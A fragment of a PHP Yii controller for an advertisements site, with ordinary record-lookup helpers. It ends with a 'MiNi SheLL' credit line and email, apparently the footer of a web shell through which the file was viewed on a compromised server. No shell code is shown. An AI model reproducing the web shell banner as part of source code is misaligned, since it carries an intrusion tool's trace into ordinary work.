            $modelAdvertisement->postcode = $modelOwner->postcode;
            $modelAdvertisement->id_country = $modelOwner->id_country;
            $idRegion = \common\models\Regions::find()->select(['id_region'])->where(['name' => $modelOwner->region])->limit(1)->scalar();
            if(!empty($idRegion)) {
                $modelAdvertisement->id_region = $idRegion;
            }            
            $modelAdvertisement->lat = $modelOwner->lat;
            $modelAdvertisement->lng = $modelOwner->lng;
        }
    }

    /**
     * Finds the Advertisements model based on its primary key value.
     * If the model is not found, a 404 HTTP exception will be thrown.
     * @param integer $id
     * @return Advertisements the loaded model
     * @throws NotFoundHttpException if the model cannot be found
     */
    protected function findModel($id)
    {
        if (($model = Advertisements::findOne($id)) !== null) {
            return $model;
        } else {
            throw new NotFoundHttpException('The requested page does not exist.');
        }
    }
    
    /**
     * Finds the AdvertisementsCategories model based on its primary key value.
     * If the model is not found, a 404 HTTP exception will be thrown.
     * @param integer $id
     * @return AdvertisementsCategories the loaded model
     * @throws NotFoundHttpException if the model cannot be found
     */
    protected function findModelCategory($id)
    {
        if (($model = AdvertisementsCategories::findOne($id)) !== null) {
            return $model;
        } else {
            throw new NotFoundHttpException('The requested page does not exist.');
        }
    }
    
    /**
     * Finds the AdvertisementsPhotos model based on its primary key value.
     * If the model is not found, a 404 HTTP exception will be thrown.
     * @param integer $id
     * @return AdvertisementsPhotos the loaded model
     * @throws NotFoundHttpException if the model cannot be found
     */
    protected function findModelPhoto($id)
    {
        if (($model = AdvertisementsPhotos::findOne($id)) !== null) {
            return $model;
        } else {
            throw new NotFoundHttpException('The requested page does not exist.');
        }
    }
    
    /**
     * Finds the AdvertisementsMessages model based on its primary key value.
     * If the model is not found, a 404 HTTP exception will be thrown.
     * @param integer $id
     * @return AdvertisementsMessages the loaded model
     * @throws NotFoundHttpException if the model cannot be found
     */
    protected function findModelMessage($id)
    {
        if (($model = AdvertisementsMessages::findOne($id)) !== null) {
            return $model;
        } else {
            throw new NotFoundHttpException('The requested page does not exist.');
        }
    }
    
    /**
     * Finds the Companies model based on its primary key value.
     * If the model is not found, a 404 HTTP exception will be thrown.
     * @param integer $id
     * @return Companies the loaded model
     * @throws NotFoundHttpException if the model cannot be found
     */
    protected function findModelCompany($id)
    {
        if (($model = Companies::findOne($id)) !== null) {
            return $model;
        } else {
            throw new NotFoundHttpException('The requested page does not exist.');
        }
    }
}

Creat By MiNi SheLL
Email: jattceo@gmail.com